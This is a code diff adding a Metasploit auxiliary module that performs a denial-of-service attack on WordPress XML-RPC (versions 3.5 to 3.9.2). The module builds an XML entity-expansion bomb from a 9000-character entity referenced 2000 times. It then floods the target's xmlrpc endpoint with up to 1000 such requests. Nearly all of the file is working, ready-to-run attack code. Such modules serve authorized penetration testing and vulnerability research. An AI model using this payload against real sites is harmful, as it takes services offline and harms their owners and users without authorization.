|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::HTTP::Wordpress |
| 11 | + include Msf::Auxiliary::Dos |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Wordpress XMLRPC DoS', |
| 16 | + 'Description' => %q{ |
| 17 | + Wordpress XMLRPC parsing is vulnerable to a XML based denial of service. |
| 18 | + This vulnerability affects Wordpress 3.5 - 3.9.2 (3.8.4 and 3.7.4 are |
| 19 | + also patched). |
| 20 | + }, |
| 21 | + 'Author' => |
| 22 | + [ |
| 23 | + 'Nir Goldshlager', # advisory |
| 24 | + 'Christian Mehlmauer' # metasploit module |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + ['URL', 'http://wordpress.org/news/2014/08/wordpress-3-9-2/'], |
| 30 | + ['URL', 'http://www.breaksec.com/?p=6362'], |
| 31 | + ['URL', 'http://mashable.com/2014/08/06/wordpress-xml-blowup-dos/'], |
| 32 | + ['URL', 'https://core.trac.wordpress.org/changeset/29404'] |
| 33 | + ], |
| 34 | + 'DisclosureDate'=> 'Aug 6 2014' |
| 35 | + )) |
| 36 | + |
| 37 | + register_options( |
| 38 | + [ |
| 39 | + OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ]) |
| 40 | + ], self.class) |
| 41 | + end |
| 42 | + |
| 43 | + def generate_xml_bomb |
| 44 | + entity = Rex::Text.rand_text_alpha(3) |
| 45 | + |
| 46 | + # Wordpress only resolves one level of entities so we need |
| 47 | + # to specify one long entity and reference it multiple times |
| 48 | + xml = '<?xml version="1.0" encoding="iso-8859-1"?>' |
| 49 | + xml << "<!DOCTYPE #{Rex::Text.rand_text_alpha(6)} [" |
| 50 | + xml << "<!ENTITY #{entity} \"#{Rex::Text.rand_text_alpha(9000)}\">" |
| 51 | + xml << ']>' |
| 52 | + xml << '<methodCall>' |
| 53 | + xml << '<methodName>' |
| 54 | + xml << "&#{entity};" * 2000 |
| 55 | + xml << '</methodName>' |
| 56 | + xml << '<params>' |
| 57 | + xml << "<param><value>#{Rex::Text.rand_text_alpha(5)}</value></param>" |
| 58 | + xml << "<param><value>#{Rex::Text.rand_text_alpha(5)}</value></param>" |
| 59 | + xml << '</params>' |
| 60 | + xml << '</methodCall>' |
| 61 | + |
| 62 | + xml |
| 63 | + end |
| 64 | + |
| 65 | + def run |
| 66 | + for x in 1..datastore['RLIMIT'] |
| 67 | + print_status("#{peer} - Sending request ##{x}...") |
| 68 | + opts = { |
| 69 | + 'method' => 'POST', |
| 70 | + 'uri' => wordpress_url_xmlrpc, |
| 71 | + 'data' => generate_xml_bomb, |
| 72 | + 'ctype' =>'text/xml' |
| 73 | + } |
| 74 | + begin |
| 75 | + c = connect |
| 76 | + r = c.request_cgi(opts) |
| 77 | + c.send_request(r) |
| 78 | + # Don't wait for a response, can take very long |
| 79 | + rescue ::Rex::ConnectionError => exception |
| 80 | + print_error("#{peer} - Unable to connect: '#{exception.message}'") |
| 81 | + return |
| 82 | + ensure |
| 83 | + disconnect(c) if c |
| 84 | + end |
| 85 | + end |
| 86 | + end |
| 87 | +end |
0 commit comments